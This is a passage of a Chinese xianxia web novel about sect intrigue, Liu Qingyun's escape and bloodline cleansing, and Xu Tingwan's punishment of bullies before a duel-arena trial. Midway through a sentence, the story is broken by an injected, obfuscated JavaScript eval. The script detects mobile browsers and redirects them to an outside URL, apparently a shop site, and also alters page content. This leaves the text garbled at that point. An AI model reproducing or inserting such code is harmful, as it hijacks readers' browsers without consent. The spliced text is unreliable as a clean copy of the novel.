柳清云闻言,立刻凑近过来,目光紧盯着他的书卷,一字一句地将消息念了出来:“小心沈怀溪!” 徐听晚闻言,瞪大了眼睛,满脸惊愕:“沈掌门?是泽明器宗的沈掌门?那位与闻长老有着情感纠葛的沈掌门?闻长老一直苦苦追求的沈掌门?” 完了……修仙界已然陷入了混乱,究竟谁才是正道之人? 徐听晚紧握双拳,书卷上很快又传来了新的消息:万安畏罪自杀。 这一切发生得太快了,处理得也太迅速了。倘若连修仙界的领导者都是共犯,那这样的局面又怎能有胜算呢? 姜满、徐君彦、沈怀溪三人几乎占据了修仙界大半的势力。 徐听晚突然再次瞪大了眼睛,心中涌起一阵疑惑:兰家为何毫无动静?那张万安拿出来的纸,分明影响到了他们的利益,可他们为何一点反应都没有?要知道,兰家可是五行道宗最大的林草供给商啊。 兰家如同被无情吞噬的弃子,与沈家医馆的命运如出一辙,姜满悄然向她传递了消息。 “沈家医馆,乃是沈掌门的父家。”这条消息,暗含双重意味,既是试探,也是提醒。 她该如何回应,方能滴水不漏? “沈家医馆遭劫,沈掌门定然心痛万分,望他莫要因此与家父产生嫌隙,我父亲绝非此等之人。” 消息回复之后,徐听晚的心绪难平,隐隐感觉自己已步入棋局,成为了他人手中的棋子,一切尽在别人的掌控之中。 而林流华那边,亦是毫无动静,她究竟意欲何为?难道仅仅是为了付出生命,来操控一个林家作为玩物? 兰家,如今是否只剩下一副空壳?是否该前去一探究竟?但若是陷阱,又当如何…… 徐听晚的头开始隐隐作痛,她扶着额头,缓缓坐下。 万安的死讯让柳清云愣在原地,刺目的阳光从窗口洒落,他深吸一口气,眉头紧锁:“大师姐,我们接下来该怎么办?” 徐听晚轻轻摇头,此刻谁若暴露,便是死路一条。 “什么都不要做,保全自己,静候时机,若是等不到……”她便赌上一把,反正都是一死,早死晚死又有何分别。 柳清云眼帘低垂,轻声说道:“那我便回房休息了。” 石观明注视着他离去的背影,这些日子以来,柳清云一直十分安静,总是一个人默默地独处。 时间如白驹过隙,寒风悄然带走了最后一抹温暖,今年的秋风格外刺骨。他在街上为每个人精心挑选了一份桂花糕,与此同时,温乐天也回到了大家的身边。 他坦言,这段时间自己一直在努力安抚万安,劝他不要急躁,但万安却心生绝念,表示若日后遭遇不测,便再无机会。 小师妹仍在闭关修炼,因为大家的伤势虽表面愈合,但灵力尚未完全恢复,都需要静养。 遗憾的是,最终大家未能聚在一起。 柳清云将桂花糕分发给众人,并写下一封亲笔信,详细阐述了他离别的原因。 他离开的那天,秋日里迎来了第一场大雨。他只带着那本无字书和一包桂花糕,默默地将信放在掌门的书房。或许叶长老得知原因后,会禀报掌门,派人追杀他,但他已无所畏惧。 离开的第一天,他破天荒地没有及时回复卿卿的消息,久久地盯着书卷上的信息。 他吃下了随身携带的那份桂花糕,苦涩难言。 他独自一人从银月城走到西部,在梅家城外徘徊许久,最终躲进了一间树林中的破旧木屋。 他翻阅着那本无字书,试图寻找这上面的秘密。 然而,先看到那封书信的并非叶长老,而是石观明。他紧握着藏在袖子里的书信,怒喝道:“呆子!” 石观明手执信件,迅速通知了其他三人,就连正在闭关修炼的小师妹也被他唤了出来。徐听晚眉头紧蹙,面露忧色;温乐天则迅速拿出书册,眉头同样紧锁,沉声道:“我即刻派人前去寻找。” 江月平目光紧紧锁定在那封信上,心中暗自思量:四师兄是母亲的儿子,她绝不能眼睁睁看着他死。 51.无字书 徐听晚紧锁眉头,气极反笑,说道:“恐怕也只有柳清云那个憨货,才能干出这等事情来吧。” 温乐天无奈地叹了口气,手执书卷,开始联络黑阁在各城的分部,“先找到他再说吧,等我找到他,就让他留在黑阁做事,也不必再回宗门了。” 徐听晚闻言,叹了口气,点了点头道:“真是让人操心,他又没害过任何人,这魔族血脉又能算得了什么呢?有些人,像个畜牲,不也在宗门里混得风生水起吗?” 她这番直白的话语,让江月平不禁瞪大了眼睛。话虽粗糙,但道理却十分深刻。刚才,江月平还曾有过一丝担忧,生怕大师姐徐听晚会下令除掉柳清云,没想到大师姐自有她的判断。 的确,大师姐徐听晚从不拘泥于那些陈规陋习,而判决剑也绝不会选错主人,它的判决向来都是公正而严谨的。 徐听晚翻开书卷,说道:“我先和梅道友说一声,柳清云失踪了,至于具体情况,还是等他回来自己跟她说吧。” 温乐天望着书卷,轻笑一声道:“他已经去了西部,而且还是大摇大摆地走过去的。哎,我这个四师弟,还真是傻得可以。” 徐听晚摇了摇头,说道:“既然你那边已经有了消息,那你便去一趟吧。若是在西部,还可以找梅道友帮忙。” 温乐天点了点头,随即转身离去。 徐听晚眉头紧锁,用书卷向柳清云发送消息,言辞间透露着不悦:“柳清云,下次再见到你,我非得踹你一脚不可。你究竟有没有长脑子?这种事你直接告诉我们不就好了,我们自然会替你想办法。你怎么能把它放在掌门办事的桌上呢?你是嫌命长吗?身为医师,你先好好治治自己的脑子吧!你究竟是杀过人还是放过火,以至于要这样逃跑?就你这样,我都不怕你入魔。要是被找到了,你最好乖乖地跟你三师兄走,别让我亲自来抓你。我要是真来了,你就等着被锁一辈子吧!” 石观明和江月平在一旁看着徐听晚的手指在书卷上快速划动,心中暗自惊讶,柳清云这次被骂得可真够惨的。 发完消息后,徐听晚深吸一口气,转头看向江月平,关切地说道:“小师妹,你的内伤还没好,继续去休息吧。这段时间一直都是石观明在协助叶长老处理事务,接下来就由我来接手。二师弟,你也去好好休息一段时间吧。” 石观明轻轻摇头,声音温和:“没事的,师姐,我的伤已经大好,我可以一起帮忙。” 徐听晚摆了摆手,语气坚定:“你不是正在冲击元婴巅峰吗?好好闭关修炼,争取突破。你已经做得很好了,宗门现在也没什么大事。我打算把宗门里那些不像话的人清理出去,给宗门来一次大扫除。” 江月平凝视着她的眼睛,嘴角勾起一抹微笑。她心里明白,大师姐根本无需担心自己会与她争夺掌门之位,因为大师姐才是那个最适合的人选。她没有大师姐那样的决断力和自信满满的领导力,大师姐的一言一行都彰显着掌门所要求的顶尖素质。 “大师姐,我的伤势已大好,不如让我随你同行吧。毕竟,宗门中仍有人误解我们之间的关系。”江月平面带浅笑,目光温柔地望向徐听晚。 石观明闻言,不禁微微蹙眉,心中暗自思量:真的有这样的误解吗?自秘境对决之后,那些关于大师姐欺压小师妹的流言似乎都已烟消云散,取而代之的是众人认为大师姐是在悉心磨砺小师妹,两人关系融洽。 徐听晚没想到小师妹对此如此看重,轻轻点了点头,道:“既然如此,那你便随我一同前往吧。” 此时的站位颇为微妙,徐听晚端坐其间,石观明则立于她身旁,而江月平只能站在对面,默默注视着二人,心中暗自懊恼。若是大师姐知晓她并非女子,恐怕会因感受到欺骗而与她疏远。若二人情谊再深一些,是否会因为情谊而继续纠葛…… “月平,我们出发吧。”不知何时,徐听晚已起身走到一旁,她望向江月平,眼中闪烁着光芒,伸手欲牵,却又觉得在宗门中手牵手有些不妥,于是又悄然收回。 江月平见状,连忙伸出手,却只抓住了一片衣角。她紧紧抓着不放,徐听晚虽不明其意,却也温柔地笑道:“想抓就抓着吧。” 江月平轻轻应了一声,而石观明则再次皱眉,心中疑惑:小师妹何时变得如此黏着大师姐了? 徐听晚与江月平步入剑修训练场时,发现隔壁的符修训练场已人去楼空,而这边剑修场上,仍有数位男女修士在那。 在场地中央,一名男弟子正将两名弟子踩在脚下。 见二人到来,那名男弟子赶忙抬起脚,从趴在地上的男女弟子身上移开。 “徐师姐,我正教训这两个师弟师妹呢,他们上课期间打情骂俏,不务正业,简直是在给宗门丢脸。” 徐听晚闻言,嘴角勾起一抹轻笑,随即抬脚将凑近她的男子踹飞出去。 “既然你这么热心,那我也来帮你‘打磨打磨’。”说罢,徐听晚未拔剑,仅凭一记肘击便重重打在男人胸口,紧接着单手便折断了男人的手臂,随后一脚踩断了男人的膝盖。 男人瞪大了眼睛,痛苦地嘶吼起来。 周围的人见状,纷纷往后退了数步。 江月平迅速将地上的两人扶起。 “徐师姐打人了!” 周围的人开始大喊大叫,徐听晚转头瞪视着那些人,瞬间,四周变得鸦雀无声。 “哦?我在打人,那刚才你们在做什么?你们的小动作,我全都看在眼里,若非先前没机会,你们早就被我教训了。” 被残忍踩断双腿的男人痛苦地嘶吼着:“我们这一切都是为了宗门,为了他们啊!”他颤抖的手指指向被江月平搀扶起来的两人,眼中满是绝望。 徐听晚毫不犹豫地一脚踩在他的手指上,声音冷厉:“从今往后,严禁师兄师姐对师弟师妹有任何形式的打压行为,以免有人以此为借口,肆意欺压弱小。一旦发现有此等行为,一律按照宗内欺压条例严惩不贷。在场的所有人,包括我,都必须去闻长老那里领罚!” 江月平听到后半句,一时愣住,随即迅速反应过来,开口阻拦:“大师姐,您为什么要领罚?您并没有欺压我啊!” “既然规矩已经立下,身为大师姐,我更要以身作则。”徐听晚语气坚定。 周围的人一时也没反应过来,要知道欺压师兄弟可是要受剑刑,去剑冢承受七十七道剑气之苦! 江月平紧紧抓住徐听晚的手,眼中满是焦急与气愤,气她为何如此决绝地要斩断两人过往的情分,急她为何对自己如此狠心。然而,徐听晚心意已决,甩开了她的手。 江月平又气又急,却无可奈何。 周围纷纷跪在地上求饶。 “我们没有动手,我们只是在一旁看着。” “是啊,我们真的没有动手,徐师姐饶命啊!” …… 徐听晚轻轻垂下眼眸,面无表情地吩咐道:“你们前去,按照无视宗门弟子求助并逃跑的罪名领受惩罚。” 这项罪名相对较轻,仅是鞭刑而已,众人闻言,纷纷跟随着徐听晚的脚步前往审判堂。 因掌门正在闭关修炼,原本由掌门掌管的内门与审判堂事务,现已分别交由叶长老与闻长老代理。 闻堰目睹徐听晚提着一个因疼痛而无法动弹的男子,身后还尾随着一群弟子,不禁微微皱眉。待她了解事情的来龙去脉后,心中涌起一股劝导之意,希望徐听晚能免于这份责罚。 此时,江月平已将两名受伤的弟子送往医药堂,随后匆匆赶来。闻堰见状,连忙询问她是否受到了欺压。 江月平轻轻摇头,神色坚定地说:“没有,那不是欺压,而是对我的磨砺。” 徐听晚仿佛没有听见她的话,淡淡道:“这不重要。” 说完,她随手将男子扔到一旁,继续说道:“待他伤势痊愈后,再送他前去受罚。” 闻堰目光凌厉地扫视着那群内门弟子,声音坚定地说道:“你们的鞭刑,将由我亲自执行!” 闻言,那群弟子瞬间面如土色。 徐听晚独自一人前往剑冢,途中,不少从书卷上得知此消息的弟子纷纷汇聚而来。 守候在剑冢入口的弟子恭敬地为徐听晚打开了通往剑冢的大门,并细心地为她佩戴上了灵力压制器。然而,这灵力压制器对她这等修为的人来说,已形同虚设,只能勉强压制住元婴初期左右的修士。 徐听晚主动压制住自身的灵力,毅然踏入了剑冢的洞口。她隔着阵法,目光坚定地注视着外面的江月平。 她深知,唯有保持一张干干净净的底牌,方能让人无懈可击。她的目标是成为众人拥戴的未来领袖,拥有裁决一切、维护正道的强大实力。 此刻的她,首要任务是肃清这个宗门,而她的长远计划,则是要涤荡整个天河大陆! 随着七十七道剑气逐一落在她的身上,外面的弟子认真地数着,而那些围观的弟子则对徐听晚的行为议论纷纷,不解其意。他们看着她面无表情地承受这七十七道剑气,心中不禁暗自赞叹:徐师姐不愧是亲传大师姐,真是厉害至极。 而站在最前方的江月平,却从徐听晚的眼中看到了坚韧与野心。她不由自主地皱起了眉头,双手也微微颤抖。 当徐听晚满身伤痕地走出剑冢时,周围的人都露出了惊讶与不忍的神情。 江月平想要上前搀扶,徐听晚却轻笑一声,道:“这些伤看似吓人,其实都是皮外伤,经历了那么多,我已经习惯了。” 她大步流星地向前走去,众人纷纷退让,为她让出一条宽敞的道路。 江月平紧随其后,众人只见徐听晚从容不迫、步履坚定,只有江月平注意到她身后一路滴落的鲜血。 她在内心深处默默对话:另一半灵魂,你看到了吗?我的选择才是正确的道路。不择手段地追求强大,只会留下被人攻击的破绽。明明拥有如此卓越的天赋,为何要踏上那条布满漏洞的荆棘之路? 行至半途,天空忽然下起了倾盆大雨。徐听晚抬手间,灵力涌动,形成了一片广阔的避雨空间,已非昔日那仅能庇护一隅的小范围避雨术所能比拟。此刻,她的灵力避雨区域足以容纳十余人之众。 无需借助屋檐,仅凭灵力密度便能达到避雨之效,这是一门极难掌控的法术。 在这个世界,没有神,只有传说中的天道与仙人。 成仙,真的可能吗?毕竟,近千年间未曾有过成仙的记载。 那么,修炼还重要吗?答案毋庸置疑,至关重要。在这个纷扰的世道,成仙或许并非终极目标,但活下去,却是每个人必须面对的现实。 徐听晚坚定地迈向医药堂,叶长老紧锁的眉头在看到她后渐渐舒展,“你还是和小时候一样倔强。” 柳清云这边,他凝视着大师姐传来的消息,眉头瞬间紧锁,眼神中流露出一丝委屈。他轻轻擦拭着泛红的眼眶,心中涌起片刻的犹豫。正当他陷入沉思之际,温乐天猛地踹开木屋的门,一把将他按在了桌上。 “你这呆子,想找你还不是易如反掌,你能跑到哪儿去?”说完,温乐天重重地敲了敲柳清云的脑袋。这一刻,柳清云仿佛理解了二师兄以往看待他们时的那份无奈与忧虑,真是让人操心不已! 此时,梅遇卿缓缓步入,眉头紧锁,目光直视着柳清云。 “你为何不回我消息?”她的声音中带着几分责备。 柳清云侧头望向梅遇卿,急切地想要解释,却被温乐天牢牢按在桌上。他奋力挣扎起身,而梅遇卿却已转身离去。 柳清云慌忙追了出去,却不慎摔倒在地,痛苦地捂住膝盖。梅遇卿闻声回头,急忙跑到他身边,将他扶起。 “卿卿,我不想骗你,我们可能真的没办法再一起看星星了。”柳清云的声音中带着委屈。 反倒是梅遇卿开始安慰起他来,她看着这个又呆又可爱的未来夫君,真是拿他一点办法都没有。她轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258098|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻捧起他的脸,温柔地说道:“清云,你好好跟我说。” 温乐天无奈地摊手道:“你好好跟人家说,我就在这等你。说清楚了跟我走,别想再跑,再跑我就打断你的腿。”说着,他扔出一颗黑子,重重地敲了一下柳清云的脑袋,随后收回黑子,一脸怒气。 他接着说道:“我就在这等你,说完了给我发消息,我来接你走。” 说完,温乐天转身离开,准备与黑阁里的人会面交流。 柳清云委屈地捂着刚才遭受重击的脑袋,将整件事情的经过一五一十地告诉了梅遇卿。 “魔族血脉又怎样?有我在此看护,即便你的杀意被激发,以你现在的修为……哎,我并非此意。” 见到柳清云的双眸渐渐盈满泪水,满含委屈地望着自己,梅遇卿连忙改口,轻声细语地安慰起来。 “把你那本无字书拿来给我看看,你说这是你父亲留给你的遗物,上面藏有秘密,但你始终无法解开。让我来试试,说不定能发现些什么。” 梅遇卿接过无字书,仔细端详了一番,随后迅速翻阅。突然,她感觉到某一页的手感与众不同。 她小心翼翼地一张张翻看着,最终停在了那一页。她轻轻地揉搓着页脚,随后,一张薄薄的白纸被撕了下来,露出了原本隐藏在这页上的字迹——至亲之血。 梅遇卿一愣,转头看向了一旁的柳清云。 柳清云瞬间明白了她的意思,毫不犹豫地割破了自己的手心,让鲜红的血液滴落在无字书上。随着血液逐渐浸透页面,火焰从血液的中心开始熊熊燃烧起来。无字书在火焰的燃烧中,慢慢显现出字迹。 上面赫然记载着洗除魔族血脉的方法! 这个方法需要准备各种珍贵的灵草,通过放血洗髓的方式,来除去血脉中暴虐的魔气。 梅遇卿仔细查看着上面列出的灵草,转头看向柳清云,轻笑一声道:“这些灵草我正好都有,不过其中许多都是有价无市的珍稀之物,你打算拿什么来赔偿我呢?” 柳清云眨了眨眼,显得有些手足无措,似乎没明白她的意思,愧疚地将手放在身后,来回摩擦着。 梅遇卿轻轻拍了拍他的肩膀,笑道:“那就以身相许吧。” “啊?”柳清云一时没反应过来,随后红着脸,小声地回答道:“好。” 梅遇卿拉着柳清云回到了宗门,对于柳清云而言,这无疑是柳暗花明又一村。 灵草持续不断地被投入木桶之中,梅遇卿严格依照那本古籍上的方法,一丝不苟地进行着操作。 她分别用锋利的刀刃在柳清云的手腕、脚腕以及心口处轻轻割开一道细长的口子。柳清云仅着一袭薄衣,羞涩地浸入药桶之中,脸颊绯红。 起初,他尚能忍受,但随后剧痛如潮水般汹涌而来,令他忍不住剧烈挣扎。梅遇卿见状,不得不拼尽全力将他牢牢按住,水花四溅,两人的衣衫尽湿。 梅遇卿力气渐失,无奈之下,只得踏入木桶之中。起初,她试图用脚踩住柳清云的双腿,却发现无法稳住,于是双腿跪坐在他的腿上,用头上的发带紧紧绑住他的手腕,将他的双手强行按入水中。 终于,一夜煎熬过去,洗髓过程结束,柳清云已晕倒在水中。梅遇卿将他轻轻抱起,横放在内室的床上。 她凝视着柳清云安静的睡颜,嘴角勾起一抹轻笑,活动了一下因长时间用力而略显麻木的双臂,随后缓缓靠近,在他的额头上轻轻印下一吻。 两人定下婚约,并向天下宣告。此时,梅问君匆匆赶回。 他的亲妹妹订下婚约,而他竟是最后一个得知此事的。刚赶到二人面前,妹妹便挡在柳清云的身前,他不禁皱了皱眉,心中涌起一丝悔意,后悔当初将柳清云带回府邸。 “柳清云,你何时与我妹妹走到了一起?”他语气中带着几分质问。 柳清云轻轻摆了摆手,安抚道:“哥,你别着急,我会好好对待卿卿的。” 妹妹也连忙解释道:“哥,我与清云之间早已知根知底,你不必太过担心。你这样匆忙赶回,宗门那边的事务岂不是要耽误了?” 沧澜符宗对梅家有恩,哥哥如此行事,确实显得不太妥当。 梅问君的担忧并不仅限于妹妹,妹妹自幼聪慧过人,他并不担心她会受委屈。然而,得知此事后,他更为担忧的是他的朋友——兰望溪。 他担心兰望溪会冲动地冲到梅家来,因此在家里逗留了数日。看着妹妹在爹娘面前夸赞柳清云如何优秀时,他突然感慨万千。 然而,兰望溪并未出现,他发出的书信也如石沉大海般杳无音信。想着他不会来闹事,梅问君便准备离开梅家返回宗门。却在临行之际,被弟子紧急召回。 “梅家主和夫人情况危急!” 梅问君急匆匆地赶回,只见梅家主和夫人似乎是为了见他最后一面才强撑到现在。看到他后,他们缓缓闭上了眼睛,安详离世。 梅遇卿跪在一旁,哭得泣不成声。柳清云则陪在她身边,默默地支撑着她。 梅问君心中恍惚,双膝跪地,眼泪无声地滑落,他重重地磕了一个响头。 爹娘的离世也让妹妹与柳清云的婚期推迟到了三年之后。 时光匆匆,转眼间两年已逝,柳清云并未选择离开宗门,因卿卿对他说,只要他保持五行道宗亲传弟子的身份,便能为双方带来公开合作的机会。 冬日渐近,他需返回宗门,与众同门共赴秘境对决。 目的地是混元丹宗的决斗场秘境。 师父将在此次秘境对决后结束闭关,不知会有何新的举动。 五人重聚,徐听晚微微蹙眉道:“清云的婚宴上,我们这桌菜别放辣。” 温乐天不甘示弱地反驳:“大师姐,那我呢!” “我们已陪你吃过一次全辣了,你就不能陪我们吃一次全清淡的吗?”徐听晚笑着看向他。 柳清云心中感慨万千,眼眶不禁微微泛红。 52.决斗场秘境 上 东南城,混元丹宗。 自那场惊天浩劫过去两年有余,即便有诸宗各家的倾力相助,混元丹宗仍旧未能从创伤中完全恢复。 城中众多子民纷纷逃离,有的投奔了沧澜符宗的下南城,有的则前往了泽明器宗的右东城。 一时间,街道上显得格外寂静与空旷。闻堰领着徐听晚等五人,走在混元丹宗的主城区街道。 啸海兽宗因宗主陨落,已宣布不参与此次秘境对决,使得这一届的亲传弟子被众人叹为最为不幸的一届。 如今,仅剩下泽明器宗、混元丹宗、玄天剑宗以及五行道宗四宗参与。 秘境对决的奖励虽非至关重要,但其带来的知名度与影响力却不容小觑,更是对各宗亲传弟子中谁能继承掌门之位的一次重要考验。 徐听晚望着那寥寥无几的争斗者,心中感慨万千。掌门之位空缺两位,亲传弟子折损众多,世家之中亦有两大家主陨落。林家虽尚未将内部的腐朽暴露于世人面前,但那也是迟早之事。如此算来,加上林家,便已有三位家主不在。 她轻轻皱眉,摇了摇头,还是先处理好眼前之事吧。 两年多未见,孟鹤竟已突破至化神初期之境,司空瑾含笑走到徐听晚身前,原来她也已迈入化神初期之列。 三人同框而出,书卷旁观者纷纷热议起来。 “这三人竟能同时出现在一个画面,真是令人惊叹!” “我简直不敢想象,若他们同在一宗门,那将是何等的无敌之姿。” “快看,江月平也走过来了,这四个人齐聚一堂!” “这简直是战力最高的四人组啊!!” “也是天赋最为出众的四人组!!” “徐听晚拥有雷灵根,孟鹤则是冰灵根,司空瑾为风灵根,江月平更是天灵根,还真是!!” “翻阅往昔的记载录像,我觉得每届亲传弟子中,最为精彩的便是这个秘境试炼。他们独自作战,以决斗场的方式展开较量,修为都被压制在筑基期,所有记忆被封锁,只留下战斗的记忆。到最后,甚至还能看到肉搏之战。” “倒也有几分道理,不过对于这个秘境,我还是觉得有些不公之处。” “没错没错,要是强的和强的先碰上,那后面的战斗可就难打了,反而让弱者有了可乘之机。” “倒也无妨,毕竟在这里面大家的修为都是一样的,不会有太大的差距。都是纯粹的战斗博弈,强弱之分并不那么明显。” “这个秘境可不看天赋高低,毕竟有句老话说得好,金丹期前灵根并无克制之说。筑基期时,灵根的特别属性都还未被激发,这次试炼肯定会非常精彩。” 徐听晚轻轻地抚摸着腰间悬挂的九玉缠金吊坠,其上玉珠温润如玉,闪烁着淡淡的光泽。她心中暗自思量,此番秘境之行,剑修与器修无疑将占据上风,而御兽修与符修因场地狭小,近身作战颇为不利,故而难以发挥所长。至于丹修,更是无需多言,其优势在此秘境中更是无从谈起。 “大师姐。”江月平轻声呼唤,同时为她拂去肩头轻轻飘落的雪花。司空瑾见状,笑容满面地欲上前相助,却被江月平灵巧地避开。 见徐听晚神色如故,江月平只好自己动手,将肩头的雪花一一拍落。司空瑾略显尴尬地收回手,也拍去了自己肩上的雪花。这时,王若拂走了过来,瞪了江月平一眼,随即转向司空瑾,笑靥如花地说道:“大师姐,也帮我拍拍雪吧。” “自然。”司空瑾微笑着应答。 徐听晚依旧面无表情,目光专注地凝视着旁边那盏由雪木制成的灯笼。白日里,它的光芒并不张扬,但待到夜幕降临,它便会在漆黑一片的丛林中散发出柔和而温暖的亮光。 姜满不时地偷瞄着她,而她始终保持着冷静与淡然,不露出一丝破绽。 秘境对决开始。 众人相继踏入秘境之中,柳清云迈步至徐听晚身前,询问道:“大师姐,你觉得是这把短刀更为顺手,还是那把弯刀更为合用呢?” 徐听晚轻轻拍了拍他的肩头,温声道:“还是短刀吧,弯刀我怕你难以驾驭,反倒伤了自己。愿你能够顺利通过前方的虚影考验。” 在与其他弟子相遇之前,他们需先历经六重虚影的试炼,分别是:长剑之影、弯刀之影、弓箭之影、长枪之影、御兽之影以及符咒之影,唯有通过这些考验,才有资格与其他弟子一争高下,夺取魁首之位。 柳清云轻轻哼了一声,转而望向温乐天,道:“三师兄,给我一些防御与攻击的灵器吧。” 温乐天笑着揉了揉他的脑袋,说道:“这决斗场空间狭小,又无遮挡之物,无人相助之下,敌人岂会给你使用灵器的机会?” 柳清云闻言不禁叹了口气,但温乐天还是从怀中取出一些防御与攻击的灵器递给他,耸了耸肩道:“你先用着,用坏了再来找我拿,我这儿多的是。至少在秘境外,我们不在你身边时,你也能有些自保之力。” 柳清云眉头微皱,问道:“什么叫你们不在?”他敏锐地察觉到温乐天变得沉稳而安静,温乐天欲言又止,不愿让柳清云过于忧虑,毕竟他即将与梅遇卿结为道侣,此时带上柳清云恐怕不太合适。 “你都要和梅家主在一起了,我们自然不能时常在一起了。”温乐天垂下眼帘,勉强挤出一丝笑容,他母亲已预感天下即将大乱。 柳清云轻笑一声,道:“山可攀,路可行,人若在,随意见。” 温乐天凝视着他,那份一如既往的纯粹令人动容。在得知他已成功洗髓,彻底清除了体内的魔族血脉后,温乐天深感世间万物皆有其解法,而那些心思纯净之人,似乎更能得到天道的垂青与庇护。 然而,他依旧难以展露笑颜。时间的流逝并未能抚平他内心的伤痕,那伤口反而愈发扩大,胸口翻涌的鲜血几乎令他窒息。失去的痛苦如同间歇性的折磨,每当忆起,便是无法抑制的剧痛。 这些年来,他从未有过片刻的停歇,但心结却如同枷锁,让他的修为进展缓慢。年仅二十几岁的他,已早生华发,尽管他极力隐藏,但那份难堪仍难以遮掩。 就在这时,温乐天的肩膀突然一沉,石观明用胳膊搭在他的肩上,轻声说道:“三师弟,这两年你长大了许多。” 温乐天没有回应,只是静静地望着眼前的人。他的思绪仿佛回到了第一次秘境对决前的等候区,那时的他趴在桌上,闭目养神,心中盘算着如何在这场对决中浑水摸鱼。突然,头顶传来一道声音,他猛地抬起头…… 是陆若音的出现,让他放弃了浑水摸鱼的念头,转而决定要好好教训这个人一番。 画面继续在他的脑海中倒退,回到了他七八岁那年,被人堵在角落里的情景。那时的他同样低着头,而头顶则传来欺负他之人的惨叫。他试探抬起头…… 是白茶的出现,如同一束光照亮了他的世界,让他看到了希望,也让他下定决心要与她成为一生的挚友。 所有人皆已踏入秘境之中。 徐听晚缓缓步入,其手腕上渐渐显现出八卦阵法的淡色印记。 就在这一瞬间,所有人只知杀戮。 此次秘境,腰间并无符咒护身,一旦倒地不起超过十秒,便会自动失去资格。 此刻,众人的意识中唯有规则与战斗。 徐听晚察觉到自身灵力匮乏,她清楚地记得自己已失去记忆,同时也明白,唯有战胜这里的所有人,方能寻回失去的记忆。 对决开始。 徐听晚矗立于宗门大殿般大的决斗场上,四周空旷寂寥,仅有几根巍峨的柱子耸立,环绕升起阵阵阵法之光。围观台上,稀疏的枯木顽强地从缝隙中探出身姿,而怪异且刺眼的红烛则诡异地悬挂在树梢,不断滴落着红色液体,于荒芜的地面上凝结成块。 一道黑色人影倏忽闪现,手持漆黑长剑,宛如夜色中的幽灵,面容与伤口皆隐匿于黑暗之中。 徐听晚目光低垂,缓缓拔出判决之剑,随即身形暴起,如同苍鹰搏兔。黑色人影手中的长剑尚未及反应,只得仓促侧身闪避,却不料徐听晚剑锋一转,自上而下,凌厉无比,竟将其身躯一分为二。众人原以为她会向下挥剑,却未曾料到这一记从上而下的绝杀。 黑色人影的左手缓缓抬起,微微颤抖,即便面容隐匿,那惊恐之意也能让人感觉。 徐听晚轻轻垂眸,扫了一眼手中的长剑,眼神空洞无物,双唇紧抿。她静静地伫立原地,无声地等待着下一个对手的到来。 秘境外顿时涌起一阵惊慌。徐听晚是所有人中速度最快的,此刻的她,是否表现得太过凶狠?围观的混元丹宗外门弟子不禁问道:“倘若徐道友真的杀了人,那可如何是好?” 另一位弟子轻轻摇头,笃定地说道:“不会的。规则早已镌刻在亲传弟子的识海之中。若是碰到真人,只能将其压制在地或是打倒在地,只要对方十秒内无法起身,便会直接出局。” “那便好,只是突然间觉得徐道友好生恐怖。” “我们怕什么?该惧怕的,应是那些魔修才对!” 姜满微微眯起双眸,心中暗自感叹:不愧是徐君彦一手养大的孩子,一招一式间,都隐约有着他的几分影子。 那些残忍而又绚丽的招式,惯会迷惑人心,令人防不胜防。 秘境之中。 徐听晚的眼前骤然出现了第二道黑影。 这道黑影手持弯刀,身材瘦小而动作迅捷,速度之快,令徐听晚几乎来不及反应。 然而,徐听晚身形一侧,轻巧躲过,反手便抽出剑鞘,准确无误地勾住了那疾驰而来的弯刀,随后猛然向地面扯去,借势一剑穿透黑影的心口,将其牢牢钉在了地上。 这些招式对她而言,已然是驾轻就熟,仿佛是按照既定程序运作的机器,毫无阻滞,轻松自如。 五行道宗内共有四楼藏书,前三楼关于剑法的典籍便有上千本之多。徐听晚凭借着另一半灵魂前二十年的积累,加之自己如今的刻苦研读,几乎将这些剑法典籍翻了个遍。甚至,就连其他宗门与世家的剑法录像,她也一一观摩,悉心钻研。若论剑法之道,她自信已是无人能及! 秘境外,谢止寒微微挑眉,他那张平日里一丝不苟的脸庞上,难得浮现出一抹探究的神色。他与徐君彦曾同为亲传弟子,且是同届出身。尽管徐君彦当年在他们那一届中独占鳌头,与姜满并称为剑道双璧,仿佛剑道天下由他们二人平分秋色,但如今看来,若论修为相当的情况,徐君彦的女儿在剑道一途上的造诣,怕是要超过他们二人了。 在秘境之中,柳清云费尽心力地借助灵器闯过了第一道关卡,却在第二关因那黑影的迅猛攻势而无奈倒下,那黑影的速度实在太快,令他根本来不及做出任何反应。 离开秘境之后,他迫不及待地翻开书卷,将此事告知了梅遇卿,而梅遇卿也正如他所料,给予了他温暖的安慰。 他坐在休息区,抬头望向秘境的方向,恰好目睹了大师姐徐听晚正与第三个黑影展开激战。 那第三个黑影手持弓箭,身形异常灵巧,与前面两个黑影的主动攻击方式不同,它选择反复后跳以拉开与徐听晚的距离。 徐听晚心中不禁生出几分烦闷与困惑,这小小的擂台,它究竟能跳到何处去? 她从容地取出符笔,轻而易举地开启了八卦阵法,将那些飞箭尽数用符咒打飞,最后更是凭借主离卦加持的十几张上品烈火符,直接将那黑影烧得跪倒在地,熊熊烈火将整个擂台包围。 黑影避无可避,只能默默地等待被淘汰出局。 徐听晚的眼眸中一片冷漠,烈火在她的眼中摇曳,发丝随着热浪轻轻飘扬,筑基期的灵力勉强护住她的身体表面。 然而,阵法的消耗实在太大,当黑影消失后,她便立刻收回了阵法,她可懒得去追那个如同跳蚤般灵活的弓箭手。 秘境之外的柳清云,嘴角微微开启,却难以挤出一丝笑容。 大师姐如今的模样,较之往昔那恶鬼之姿,更添几分骇人! 在秘境之内,徐听晚迎来了第四个黑影的挑战。 一头体型庞大的黑虎赫然出现在她的眼前,那黑影温柔地轻抚着黑虎的头颅。 